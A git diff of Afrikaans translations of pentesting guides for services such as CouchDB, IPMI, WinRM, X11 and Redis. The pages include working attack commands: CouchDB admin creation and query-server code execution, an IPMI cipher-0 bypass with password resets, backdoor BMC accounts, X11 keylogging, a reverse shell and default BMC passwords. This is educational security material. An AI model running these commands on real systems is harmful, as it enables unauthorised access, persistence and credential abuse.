[cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html): -> **RabbitMQ** is 'n **boodskap-rygprogram** ook bekend as 'n _boodskap broker_ of _ry bestuurder._ Eenvoudig gestel; dit is sagteware waar rye gedefinieer word, waaraan toepassings koppel om 'n boodskap of boodskappe oor te dra.\ -> 'n **Boodskap kan enige soort inligting insluit**. Dit kan byvoorbeeld inligting bevat oor 'n proses of taak wat op 'n ander toepassing (wat selfs op 'n ander bediener kan wees) moet begin, of dit kan net 'n eenvoudige teksboodskap wees. Die ry-bestuurder sagteware stoor die boodskappe totdat 'n ontvangende toepassing koppel en 'n boodskap van die ry neem. Die ontvangende toepassing verwerk dan die boodskap.\ +> **RabbitMQ** is 'n **boodskap-rygagte sagteware** ook bekend as 'n _boodskap broker_ of _ry bestuurder._ Eenvoudig gestel; dit is sagteware waar rye gedefinieer word, waaraan toepassings koppel om 'n boodskap of boodskappe oor te dra.\ +> 'n **boodskap kan enige soort inligting insluit**. Dit kan byvoorbeeld inligting bevat oor 'n proses of taak wat op 'n ander toepassing (wat selfs op 'n ander bediener kan wees) moet begin, of dit kan net 'n eenvoudige teksboodskap wees. Die ry-bestuurder sagteware stoor die boodskappe totdat 'n ontvangende toepassing koppel en 'n boodskap van die ry neem. Die ontvangende toepassing verwerk dan die boodskap.\ > Definisie van . **Standaard poort**: 5672,5671 @@ -56,7 +56,7 @@ PORT STATE SERVICE VERSION In [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) kan jy vind dat **rabbitmq verskeie poorte gebruik**: - **1883, 8883**: ([MQTT kliënte](http://mqtt.org) sonder en met TLS, as die [MQTT plugin](https://www.rabbitmq.com/mqtt.html) geaktiveer is. [**Leer meer oor hoe om MQTT hier te pentest**](1883-pentesting-mqtt-mosquitto.md). -- **4369: epmd**, 'n peer discovery diens wat deur RabbitMQ nodes en CLI gereedskap gebruik word. [**Leer meer oor hoe om hierdie diens hier te pentest**](4369-pentesting-erlang-port-mapper-daemon-epmd.md). +- **4369: epmd**, 'n peer ontdekking diens wat deur RabbitMQ nodes en CLI gereedskap gebruik word. [**Leer meer oor hoe om hierdie diens hier te pentest**](4369-pentesting-erlang-port-mapper-daemon-epmd.md). - **5672, 5671**: gebruik deur AMQP 0-9-1 en 1.0 kliënte sonder en met TLS - **15672**: [HTTP API](https://www.rabbitmq.com/management.html) kliënte, [bestuurs UI](https://www.rabbitmq.com/management.html) en [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (slegs as die [bestuurs plugin](https://www.rabbitmq.com/management.html) geaktiveer is). [**Leer meer oor hoe om hierdie diens hier te pentest**](15672-pentesting-rabbitmq-management.md). - 15674: STOMP-over-WebSockets kliënte (slegs as die [Web STOMP plugin](https://www.rabbitmq.com/web-stomp.html) geaktiveer is) diff --git a/src/network-services-pentesting/584-pentesting-afp.md b/src/network-services-pentesting/584-pentesting-afp.md index c1ac90e7e..d2812fc82 100644 --- a/src/network-services-pentesting/584-pentesting-afp.md +++ b/src/network-services-pentesting/584-pentesting-afp.md @@ -4,16 +4,16 @@ ## Basiese Inligting -Die **Apple Filing Protocol** (**AFP**), voorheen bekend as AppleTalk Filing Protocol, is 'n gespesialiseerde netwerkprotokol ingesluit in die **Apple File Service** (**AFS**). Dit is ontwerp om lêerdienste te bied vir macOS en die klassieke Mac OS. AFP val op deur ondersteuning van Unicode-lêernames, POSIX en toegangbeheerlys toestemmings, hulpbronvorke, benoemde uitgebreide eienskappe, en gesofistikeerde lêerslotmeganismes. Dit was die hoofprotokol vir lêerdienste in Mac OS 9 en vroeëre weergawes. +Die **Apple Filing Protocol** (**AFP**), voorheen bekend as AppleTalk Filing Protocol, is 'n gespesialiseerde netwerkprotokol ingesluit in die **Apple File Service** (**AFS**). Dit is ontwerp om lêerdienste te bied vir macOS en die klassieke Mac OS. AFP val op deur ondersteuning te bied vir Unicode-lêernames, POSIX en toegangbeheerlys toestemmings, hulpbronvorke, benoemde uitgebreide eienskappe, en gesofistikeerde lêerblokkeringsmeganismes. Dit was die hoofprotokol vir lêerdienste in Mac OS 9 en vroeëre weergawes. **Standaard Poort:** 548 ```bash PORT STATE SERVICE 548/tcp open afp ``` -### **Enumerasie** +### **Opname** -Vir die enumerasie van AFP-dienste is die volgende opdragte en skripte nuttig: +Vir die opname van AFP-dienste is die volgende opdragte en skripte nuttig: ```bash msf> use auxiliary/scanner/afp/afp_server_info nmap -sV --script "afp-* and not dos and not brute" -p diff --git a/src/network-services-pentesting/5984-pentesting-couchdb.md b/src/network-services-pentesting/5984-pentesting-couchdb.md index 19e7d07e4..8047d1cb3 100644 --- a/src/network-services-pentesting/5984-pentesting-couchdb.md +++ b/src/network-services-pentesting/5984-pentesting-couchdb.md @@ -6,7 +6,7 @@ **CouchDB** is 'n veelsydige en kragtige **dokument-georiënteerde databasis** wat data organiseer met 'n **sleutel-waarde kaart** struktuur binne elke **dokument**. Velde binne die dokument kan voorgestel word as **sleutel/waarde pare, lyste, of kaarte**, wat buigsaamheid in data stoor en onttrekking bied. -Elke **dokument** wat in CouchDB gestoor word, word toegeskryf aan 'n **unieke identifiseerder** (`_id`) op die dokumentvlak. Daarbenewens word elke wysiging wat gemaak en in die databasis gestoor word, toegeskryf aan 'n **herzieningsnommer** (`_rev`). Hierdie herzieningsnommer maak doeltreffende **opsporing en bestuur van veranderinge** moontlik, wat maklike onttrekking en sinchronisasie van data binne die databasis vergemaklik. +Elke **dokument** wat in CouchDB gestoor word, word aan 'n **unieke identifiseerder** (`_id`) op die dokumentvlak toegeken. Boonop word elke wysiging wat gemaak en in die databasis gestoor word, aan 'n **hervisienommer** (`_rev`) toegeken. Hierdie hervisienommer maak doeltreffende **opsporing en bestuur van veranderinge** moontlik, wat maklike onttrekking en sinchronisasie van data binne die databasis vergemaklik. **Standaard poort:** 5984(http), 6984(https) ``` @@ -59,13 +59,13 @@ Meer interessante inligting kan onttrek word soos hier verduidelik: [https://lzo ``` curl -X GET http://IP:5984/_all_dbs ``` -As die versoek **met 'n 401 ongeoorloofde** antwoord gee, dan het jy **geldige akrediteer** nodig om toegang tot die databasis te verkry: +As die versoek **met 'n 401 ongeoorloofde antwoord**, dan het jy **geldige akrediteer** nodig om toegang tot die databasis te verkry: ``` curl -X GET http://user:password@IP:5984/_all_dbs ``` Om geldige Kredensiale te vind, kan jy **probeer om** [**die diens te bruteforce**](../generic-hacking/brute-force.md#couchdb). -Dit is 'n **voorbeeld** van 'n couchdb **antwoord** wanneer jy **genoeg voorregte** het om databasisse te lys (Dit is net 'n lys van db's): +Dit is 'n **voorbeeld** van 'n couchdb **antwoord** wanneer jy **genoeg voorregte** het om databasisse te lys (Dit is net 'n lys van dbs): ```bash ["_global_changes","_metadata","_replicator","_users","passwords","simpsons"] ``` @@ -106,7 +106,7 @@ curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9 ``` ## CouchDB Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635) -Dankie aan die verskille tussen Erlang en JavaScript JSON parsers kan jy **'n admin gebruiker skep** met geloofsbriewe `hacktricks:hacktricks` met die volgende versoek: +Dankie aan die verskille tussen Erlang en JavaScript JSON parsers kan jy **'n admin gebruiker skep** met die geloofsbriewe `hacktricks:hacktricks` met die volgende versoek: ```bash curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json" ``` @@ -133,9 +133,9 @@ Vir diegene wat belangstel om te verstaan hoe hierdie "cookie" vir Remote Code E Voorbeeld [van hier](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). -'n Onlangs bekendgemaakte kwesbaarheid, CVE-2018-8007, wat Apache CouchDB raak, is ondersoek, wat onthul dat uitbuiting skrywe-toestemmings tot die `local.ini`-lêer vereis. Alhoewel dit nie direk van toepassing is op die aanvanklike teikenstelsel nie weens sekuriteitsbeperkings, is aanpassings gemaak om skrywe-toegang tot die `local.ini`-lêer vir verkenningsdoeleindes te verleen. Gedetailleerde stappe en kodevoorbeelde word hieronder verskaf, wat die proses demonstreer. +'n Onlangs bekendgemaakte kwesbaarheid, CVE-2018-8007, wat Apache CouchDB raak, is ondersoek, wat onthul dat uitbuiting skryfrechten tot die `local.ini`-lêer vereis. Alhoewel dit nie direk van toepassing is op die aanvanklike teikenstelsel nie weens sekuriteitsbeperkings, is aanpassings gemaak om skryfrechten aan die `local.ini`-lêer toe te ken vir verkenningsdoeleindes. Gedetailleerde stappe en kodevoorbeelde word hieronder verskaf, wat die proses demonstreer. -Eerstens, die omgewing word voorberei deur te verseker dat die `local.ini`-lêer skryfbaar is, wat geverifieer word deur die toestemmings te lys: +Eerstens, die omgewing word voorberei deur te verseker dat die `local.ini`-lêer skryfbaar is, wat geverifieer word deur die regte te lys: ```bash root@canape:/home/homer/etc# ls -l -r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini @@ -166,7 +166,7 @@ root@canape:/home/homer/etc# kill 711 root@canape:/home/homer/etc# ls /tmp/0xdf /tmp/0xdf ``` -Hierdie verkenning bevestig die lewensvatbaarheid van CVE-2018-8007 uitbuiting onder spesifieke toestande, veral die vereiste vir skryfbare toegang tot die `local.ini`-lêer. Die verskafde kodevoorbeelde en prosedurele stappe bied 'n duidelike gids vir die replisering van die uitbuiting in 'n beheerde omgewing. +Hierdie verkenning bevestig die lewensvatbaarheid van CVE-2018-8007 uitbuiting onder spesifieke omstandighede, veral die vereiste vir skryfbare toegang tot die `local.ini`-lêer. Die verskafde kodevoorbeelde en prosedurele stappe bied 'n duidelike gids om die uitbuiting in 'n beheerde omgewing te herhaal. Vir meer besonderhede oor CVE-2018-8007, verwys na die advies deur mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/). @@ -174,7 +174,7 @@ Vir meer besonderhede oor CVE-2018-8007, verwys na die advies deur mdsec: [CVE-2 Voorbeeld [van hier](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). -'n Kwetsbaarheid bekend as CVE-2017-12636 is verken, wat kode-uitvoering via die CouchDB-proses moontlik maak, alhoewel spesifieke konfigurasies die uitbuiting daarvan kan voorkom. Ten spyte van talle Bewys van Konsep (POC) verwysings wat aanlyn beskikbaar is, is aanpassings nodig om die kwesbaarheid op CouchDB weergawe 2 uit te buit, wat verskil van die algemeen geteikende weergawe 1.x. Die aanvanklike stappe behels die verifikasie van die CouchDB weergawe en die bevestiging van die afwesigheid van die verwagte vrae bedieners pad: +'n Kwetsbaarheid bekend as CVE-2017-12636 is verken, wat kode-uitvoering via die CouchDB-proses moontlik maak, alhoewel spesifieke konfigurasies die uitbuiting daarvan kan voorkom. Ten spyte van talle Bewys van Konsep (POC) verwysings wat aanlyn beskikbaar is, is aanpassings nodig om die kwesbaarheid op CouchDB weergawe 2 uit te buit, wat verskil van die algemeen geteikende weergawe 1.x. Die aanvanklike stappe behels die verifikasie van die CouchDB weergawe en die bevestiging van die afwesigheid van die verwagte navraagbedienerspad: ```bash curl http://localhost:5984 curl http://0xdf:df@localhost:5984/_config/query_servers/ @@ -188,12 +188,12 @@ Pogings om 'n nuwe navraagbediener by te voeg en aan te roep, is gekonfronteer m ```bash curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' ``` -Verder ondersoek het probleme met toestemmings van die `local.ini` lêer, wat nie skryfbaar was nie. Deur die lêer se toestemmings met root of homer toegang te wysig, het dit moontlik geword om voort te gaan: +Verdere ondersoek het toestemmingkwessies met die `local.ini` lêer, wat nie skryfbaar was nie. Deur die lêer se toestemmings met root of homer toegang te wysig, het dit moontlik geword om voort te gaan: ```bash cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b chmod 666 /home/homer/etc/local.ini ``` -Subsequent pogings om die navraag bediener by te voeg, was suksesvol, soos aangetoon deur die gebrek aan foutboodskappe in die antwoord. Die suksesvolle wysiging van die `local.ini` lêer is bevestig deur lêervergelyking: +Subsequent pogings om die query server by te voeg, was suksesvol, soos aangetoon deur die gebrek aan foutboodskappe in die antwoord. Die suksesvolle wysiging van die `local.ini` lêer is bevestig deur lêervergelyking: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' ``` diff --git a/src/network-services-pentesting/5985-5986-pentesting-omi.md b/src/network-services-pentesting/5985-5986-pentesting-omi.md index f1791235d..9ebd14f5e 100644 --- a/src/network-services-pentesting/5985-5986-pentesting-omi.md +++ b/src/network-services-pentesting/5985-5986-pentesting-omi.md @@ -4,7 +4,7 @@ ### **Basiese Inligting** -**OMI** word aangebied as 'n **[open-source](https://github.com/microsoft/omi)** hulpmiddel deur Microsoft, ontwerp vir afstands konfigurasie bestuur. Dit is veral relevant vir Linux bedieners op Azure wat dienste soos: +**OMI** word aangebied as 'n **[open-source](https://github.com/microsoft/omi)** hulpmiddel deur Microsoft, ontwerp vir afstands konfigurasie bestuur. Dit is veral relevant vir Linux bedieners op Azure wat dienste soos gebruik: - **Azure Automation** - **Azure Automatic Update** diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md index 1052340f3..740cc4097 100644 --- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md +++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md @@ -6,16 +6,16 @@ [Windows Remote Management (WinRM)]() word beklemtoon as 'n **protokol deur Microsoft** wat die **afstandbestuur van Windows-stelsels** deur HTTP(S) moontlik maak, met SOAP in die proses. Dit is fundamenteel aangedryf deur WMI, wat homself as 'n HTTP-gebaseerde koppelvlak vir WMI-operasies aanbied. -Die teenwoordigheid van WinRM op 'n masjien maak eenvoudige afstandadministrasie via PowerShell moontlik, soortgelyk aan hoe SSH vir ander bedryfstelsels werk. Om te bepaal of WinRM werksaam is, word dit aanbeveel om na die opening van spesifieke poorte te kyk: +Die teenwoordigheid van WinRM op 'n masjien maak dit moontlik vir eenvoudige afstandadministrasie via PowerShell, soortgelyk aan hoe SSH vir ander bedryfstelsels werk. Om te bepaal of WinRM werksaam is, word dit aanbeveel om na die opening van spesifieke poorte te kyk: - **5985/tcp (HTTP)** - **5986/tcp (HTTPS)** -'n Geopende poort uit die lys hierbo dui aan dat WinRM opgestel is, wat pogings om 'n afstandsessie te begin, toelaat. +'n Geopende poort uit die bogenoemde lys dui aan dat WinRM opgestel is, wat pogings om 'n afstandsessie te begin, toelaat. ### **Begin 'n WinRM-sessie** -Om PowerShell vir WinRM te konfigureer, kom Microsoft se `Enable-PSRemoting` cmdlet in die spel, wat die rekenaar opstel om afstand PowerShell-opdragte te aanvaar. Met verhoogde PowerShell-toegang kan die volgende opdragte uitgevoer word om hierdie funksionaliteit in te skakel en enige gasheer as vertroulik aan te dui: +Om PowerShell vir WinRM te konfigureer, kom Microsoft se `Enable-PSRemoting` cmdlet in die spel, wat die rekenaar opstel om afstand PowerShell-opdragte te aanvaar. Met verhoogde PowerShell-toegang kan die volgende opdragte uitgevoer word om hierdie funksionaliteit in te stel en enige gasheer as vertroulik aan te dui: ```powershell Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * @@ -56,7 +56,7 @@ Jy kan ook **'n opdrag van jou huidige PS-konsol uitvoer via** _**Invoke-Command ```powershell Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"] ``` -### Voer 'n Skrip uit +### Voer 'n Skrip Uit ```powershell Invoke-Command -ComputerName -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta] ``` @@ -87,7 +87,7 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New **Die sessie sal in 'n nuwe proses (wsmprovhost) binne die "slagoffer" loop** -### **WinRM Dwing om Oop te wees** +### **WinRM Dwing om Oop te Maak** Om PS Remoting en WinRM te gebruik, maar die rekenaar is nie gekonfigureer nie, kan jy dit aktiveer met: ```powershell diff --git a/src/network-services-pentesting/6000-pentesting-x11.md b/src/network-services-pentesting/6000-pentesting-x11.md index e39ed8d10..1a1aa51eb 100644 --- a/src/network-services-pentesting/6000-pentesting-x11.md +++ b/src/network-services-pentesting/6000-pentesting-x11.md @@ -4,7 +4,7 @@ ## Basiese Inligting -**X Window System** (X) is 'n veelsydige vensterstelsel wat algemeen op UNIX-gebaseerde bedryfstelsels voorkom. Dit bied 'n raamwerk vir die skep van grafiese **gebruikersinterfaces (GUIs)**, met individuele programme wat die gebruikerskoppelvlakontwerp hanteer. Hierdie buigsaamheid stel gebruikers in staat om uiteenlopende en aanpasbare ervarings binne die X-omgewing te hê. +**X Window System** (X) is 'n veelsydige vensterstelsel wat algemeen voorkom op UNIX-gebaseerde bedryfstelsels. Dit bied 'n raamwerk vir die skep van grafiese **gebruikersinterfaces (GUIs)**, met individuele programme wat die gebruikerskoppelvlakontwerp hanteer. Hierdie buigsaamheid stel gebruikers in staat om uiteenlopende en aanpasbare ervarings binne die X-omgewing te hê. **Standaard poort:** 6000 ``` @@ -13,7 +13,7 @@ PORT STATE SERVICE ``` ## Enumerasie -Kontroleer vir **anonieme verbinding:** +Kyk vir **anonieme verbinding:** ```bash nmap -sV --script x11-access -p msf> use auxiliary/scanner/x11/open_x11 @@ -59,7 +59,7 @@ opened 10.9.xx.xx:0 for snoopng swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123 qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab ``` -## Skermskoot vang +## Skermskootcapturing ```bash xwd -root -screen -silent -display > screenshot.xwd convert screenshot.xwd screenshot.png @@ -108,7 +108,7 @@ Vir **leef kyk** moet ons gebruik ``` msf> use exploit/unix/x11/x11_keyboard_exec ``` -**Reverse Shell:** Xrdp laat ook toe om 'n omgekeerde shell via Netcat te neem. Tik die volgende opdrag in: +**Reverse Shell:** Xrdp laat ook toe om 'n omgekeerde shell te neem via Netcat. Tik die volgende opdrag in: ```bash ./xrdp.py \ –no-disp ``` diff --git a/src/network-services-pentesting/623-udp-ipmi.md b/src/network-services-pentesting/623-udp-ipmi.md index 7f10ca467..2c6dde0f6 100644 --- a/src/network-services-pentesting/623-udp-ipmi.md +++ b/src/network-services-pentesting/623-udp-ipmi.md @@ -9,23 +9,23 @@ ### **Oorsig van IPMI** -**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** bied 'n gestandaardiseerde benadering vir afstandsbestuur en monitering van rekenaarstelsels, onafhanklik van die bedryfstelsel of kragtoestand. Hierdie tegnologie stel stelselsadministrateurs in staat om stelsels op afstand te bestuur, selfs wanneer hulle af of nie-reagerend is, en is veral nuttig vir: +**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** bied 'n gestandaardiseerde benadering vir afstandsbestuur en monitering van rekenaarstelsels, onafhanklik van die bedryfstelsel of kragtoestand. Hierdie tegnologie stel stelselsadministrateurs in staat om stelsels op afstand te bestuur, selfs wanneer hulle af of onreaksief is, en is veral nuttig vir: - Pre-OS opstartkonfigurasies - Kragaf bestuur - Herstel van stelselfoute -IPMI is in staat om temperature, spannings, waaier spoed, en kragvoorsienings te monitor, sowel as om inventaris-inligting te verskaf, hardeware-logboek te hersien, en waarskuwings via SNMP te stuur. Essensieel vir sy werking is 'n kragbron en 'n LAN-verbinding. +IPMI is in staat om temperature, spannings, waaier spoed, en kragvoorsienings te monitor, sowel as om inventarisinligting te verskaf, hardeware logs te hersien, en waarskuwings via SNMP te stuur. Essensieel vir sy werking is 'n kragbron en 'n LAN-verbinding. Sedert die bekendstelling deur Intel in 1998, is IPMI deur verskeie verskaffers ondersteun, wat afstandsbestuur vermoëns verbeter, veral met weergawe 2.0 se ondersteuning vir serieel oor LAN. Sleutelelemente sluit in: - **Baseboard Management Controller (BMC):** Die hoof mikrobeheerder vir IPMI operasies. - **Kommunikasiebusse en Interfaces:** Vir interne en eksterne kommunikasie, insluitend ICMB, IPMB, en verskeie interfaces vir plaaslike en netwerkverbindinge. -- **IPMI Geheue:** Vir die stoor van logboeke en data. +- **IPMI Geheue:** Vir die stoor van logs en data. ![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right) -**Standaard Poort**: 623/UDP/TCP (Dit is gewoonlik op UDP, maar dit kan ook op TCP loop) +**Standaard Poort**: 623/UDP/TCP (Dit is gewoonlik op UDP maar dit kan ook op TCP loop) ## Enumerasie @@ -42,7 +42,7 @@ nmap -sU --script ipmi-version -p 623 10.10.10.10 ``` ### IPMI Kwetsbaarhede -In die ryk van IPMI 2.0 is 'n beduidende sekuriteitsfout deur Dan Farmer ontdek, wat 'n kwesbaarheid blootgestel het deur **cipher type 0**. Hierdie kwesbaarheid, wat in detail gedokumenteer is by [Dan Farmer se navorsing](http://fish2.com/ipmi/cipherzero.html), stel ongemagtigde toegang in staat met enige wagwoord mits 'n geldige gebruiker teiken. Hierdie swakheid is oor verskeie BMC's van vervaardigers soos HP, Dell, en Supermicro gevind, wat 'n wye probleem binne alle IPMI 2.0 implementasies suggereer. +In die gebied van IPMI 2.0 is 'n beduidende sekuriteitsfout deur Dan Farmer ontdek, wat 'n kwesbaarheid blootgestel het deur **cipher type 0**. Hierdie kwesbaarheid, wat in detail gedokumenteer is by [Dan Farmer se navorsing](http://fish2.com/ipmi/cipherzero.html), stel ongeoorloofde toegang in staat met enige wagwoord mits 'n geldige gebruiker teiken. Hierdie swakheid is oor verskeie BMC's van vervaardigers soos HP, Dell, en Supermicro gevind, wat 'n wye probleem binne alle IPMI 2.0 implementasies suggereer. ### **IPMI Verifikasie Omseiling via Cipher 0** @@ -71,7 +71,7 @@ ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword ``` ### **Supermicro IPMI Duidelike Wagwoorde** -'n Kritieke ontwerpskeuse in IPMI 2.0 vereis die stoor van duidelike wagwoorde binne BMC's vir outentikasie doeleindes. Supermicro se stoor van hierdie wagwoorde in plekke soos `/nv/PSBlock` of `/nv/PSStore` wek beduidende sekuriteitskwessies: +'n Kritieke ontwerppunt in IPMI 2.0 vereis die stoor van duidelike wagwoorde binne BMC's vir outentikasie doeleindes. Supermicro se stoor van hierdie wagwoorde in plekke soos `/nv/PSBlock` of `/nv/PSStore` wek beduidende sekuriteitskwessies: ```bash cat /nv/PSBlock ``` @@ -87,13 +87,13 @@ msf> use exploit/multi/upnp/libupnp_ssdp_overflow - **HP Integrated Lights Out (iLO)** gebruik 'n **fabrieksrandomiseerde 8-karakter string** as sy standaard wagwoord, wat 'n hoër sekuriteitsvlak toon. - Produkte soos **Dell se iDRAC, IBM se IMM**, en **Fujitsu se Integrated Remote Management Controller** gebruik maklik raambare wagwoorde soos "calvin", "PASSW0RD" (met 'n nul), en "admin" onderskeidelik. -- Net so gebruik **Supermicro IPMI (2.0), Oracle/Sun ILOM**, en **ASUS iKVM BMC** ook eenvoudige standaard akrediteerlinge, met "ADMIN", "changeme", en "admin" as hul wagwoorde. +- Net so gebruik **Supermicro IPMI (2.0), Oracle/Sun ILOM**, en **ASUS iKVM BMC** ook eenvoudige standaard akrediteerlinge, met "ADMIN", "changeme", en "admin" as hulle wagwoorde. -## Toegang tot die Gasheer via BMC +## Accessing the Host via BMC -Administratiewe toegang tot die Baseboard Management Controller (BMC) open verskeie paaie om toegang tot die gasheer se bedryfstelsel te verkry. 'n Eenvoudige benadering behels die benutting van die BMC se Keyboard, Video, Mouse (KVM) funksionaliteit. Dit kan gedoen word deur die gasheer te herbegin na 'n root shell via GRUB (met `init=/bin/sh`) of deur te boot vanaf 'n virtuele CD-ROM wat as 'n reddingsdisk ingestel is. Sulke metodes stel direkte manipulasie van die gasheer se skyf in staat, insluitend die invoeging van backdoors, data-ekstraksie, of enige nodige aksies vir 'n sekuriteitsassessering. Dit vereis egter die herbegin van die gasheer, wat 'n beduidende nadeel is. Sonder om te herbegin, is toegang tot die lopende gasheer meer kompleks en wissel dit met die gasheer se konfigurasie. As die gasheer se fisiese of seriële konsol ingelog bly, kan dit maklik oor geneem word deur die BMC se KVM of serial-over-LAN (sol) funksies via `ipmitool`. Die verkenning van die benutting van gedeelde hardewarebronne, soos die i2c bus en Super I/O chip, is 'n gebied wat verdere ondersoek vereis. +Administratiewe toegang tot die Baseboard Management Controller (BMC) open verskeie paaie om toegang tot die gasheer se bedryfstelsel te verkry. 'n Eenvoudige benadering behels die benutting van die BMC se Keyboard, Video, Mouse (KVM) funksionaliteit. Dit kan gedoen word deur die gasheer te herbegin na 'n root shell via GRUB (met `init=/bin/sh`) of deur vanaf 'n virtuele CD-ROM te boot wat as 'n reddingsdisk ingestel is. Sulke metodes stel direkte manipulasie van die gasheer se skyf in staat, insluitend die invoeging van backdoors, data-ekstraksie, of enige nodige aksies vir 'n sekuriteitsassessering. Dit vereis egter die herbegin van die gasheer, wat 'n beduidende nadeel is. Sonder om te herbegin, is toegang tot die lopende gasheer meer kompleks en wissel dit met die gasheer se konfigurasie. As die gasheer se fisiese of seriële konsole ingelog bly, kan dit maklik oorgeneem word deur die BMC se KVM of serial-over-LAN (sol) funksionaliteite via `ipmitool`. Die verkenning van die benutting van gedeelde hardewarebronne, soos die i2c bus en Super I/O chip, is 'n gebied wat verdere ondersoek vereis. -## Invoeging van Backdoors in BMC vanaf die Gasheer +## Introducing Backdoors into BMC from the Host Na die kompromie van 'n gasheer wat met 'n BMC toegerus is, kan die **lokale BMC-koppelvlak benut word om 'n backdoor gebruikersrekening in te voeg**, wat 'n blywende teenwoordigheid op die bediener skep. Hierdie aanval vereis die teenwoordigheid van **`ipmitool`** op die gekompromitteerde gasheer en die aktivering van BMC stuurprogramondersteuning. Die volgende opdragte illustreer hoe 'n nuwe gebruikersrekening in die BMC ingespuit kan word deur die gasheer se lokale koppelvlak, wat die behoefte aan verifikasie omseil. Hierdie tegniek is van toepassing op 'n wye reeks bedryfstelsels, insluitend Linux, Windows, BSD, en selfs DOS. ```bash diff --git a/src/network-services-pentesting/6379-pentesting-redis.md b/src/network-services-pentesting/6379-pentesting-redis.md index a331c0630..6daadf8ac 100644 --- a/src/network-services-pentesting/6379-pentesting-redis.md +++ b/src/network-services-pentesting/6379-pentesting-redis.md @@ -6,7 +6,7 @@ Van [die dokumentasie](https://redis.io/topics/introduction): Redis is 'n oopbron (BSD gelisensieerde), in-geheue **data struktuur stoor**, gebruik as 'n **databasis**, kas en boodskap broker). -Standaard gebruik Redis 'n teksgebaseerde protokol, maar jy moet in gedagte hou dat dit ook **ssl/tls** kan implementeer. Leer hoe om [Redis met ssl/tls hier te loop](https://fossies.org/linux/redis/TLS.md). +Standaard gebruik Redis 'n teksgebaseerde protokol, maar jy moet in gedagte hou dat dit ook **ssl/tls** kan implementeer. Leer hoe om [Redis met ssl/tls hier te laat loop](https://fossies.org/linux/redis/TLS.md). **Standaard poort:** 6379 ``` @@ -24,7 +24,7 @@ msf> use auxiliary/scanner/redis/redis_server ### Banner -Redis is 'n **tekstgebaseerde protokol**, jy kan eenvoudig **die opdrag in 'n soket stuur** en die teruggegee waardes sal leesbaar wees. Onthou ook dat Redis kan loop met **ssl/tls** (maar dit is baie vreemd). +Redis is 'n **tekstgebaseerde protokol**, jy kan eenvoudig die **opdrag in 'n soket stuur** en die teruggegee waardes sal leesbaar wees. Onthou ook dat Redis kan loop met **ssl/tls** (maar dit is baie vreemd). In 'n gewone Redis-instantie kan jy eenvoudig aansluit met `nc` of jy kan ook `redis-cli` gebruik: ```bash @@ -39,15 +39,15 @@ In hierdie laaste geval beteken dit dat **jy geldige geloofsbriewe nodig het** o ### Redis Outentisering -**Standaard** kan Redis toeganklik wees **sonder geloofsbriewe**. Dit kan egter **gekonfigureer** word om **slegs wagwoord, of gebruikersnaam + wagwoord** te ondersteun.\ +**Standaard** kan Redis **sonder geloofsbriewe** benader word. Dit kan egter **gekonfigureer** word om **slegs wagwoord, of gebruikersnaam + wagwoord** te ondersteun.\ Dit is moontlik om 'n **wagwoord** in die _**redis.conf**_ lêer met die parameter `requirepass` **of tydelik** in te stel totdat die diens herbegin deur dit te verbind en die volgende uit te voer: `config set requirepass p@ss$12E45`.\ -Ook kan 'n **gebruikersnaam** geconfigureer word in die parameter `masteruser` binne die _**redis.conf**_ lêer. +Ook kan 'n **gebruikersnaam** in die parameter `masteruser` binne die _**redis.conf**_ lêer geconfigureer word. > [!NOTE] > As slegs 'n wagwoord geconfigureer is, is die gebruikersnaam wat gebruik word "**default**".\ -> Let ook daarop dat daar **geen manier is om van buite af te vind** of Redis geconfigureer is met slegs 'n wagwoord of gebruikersnaam+wagwoord nie. +> Let ook daarop dat daar **geen manier is om van buite af te vind** of Redis slegs met 'n wagwoord of gebruikersnaam + wagwoord geconfigureer is nie. -In gevalle soos hierdie sal jy **geldige geloofsbriewe moet vind** om met Redis te kommunikeer, sodat jy kan probeer om dit [**brute-force**](../generic-hacking/brute-force.md#redis) te doen.\ +In gevalle soos hierdie sal jy **geldige geloofsbriewe moet vind** om met Redis te kommunikeer, so jy kan probeer om [**brute-force**](../generic-hacking/brute-force.md#redis) dit.\ **As jy geldige geloofsbriewe gevind het, moet jy die sessie outentiseer** nadat jy die verbinding met die opdrag gevestig het: ```bash AUTH @@ -77,9 +77,9 @@ Jy kan ook **in werklike tyd die Redis-opdragte** 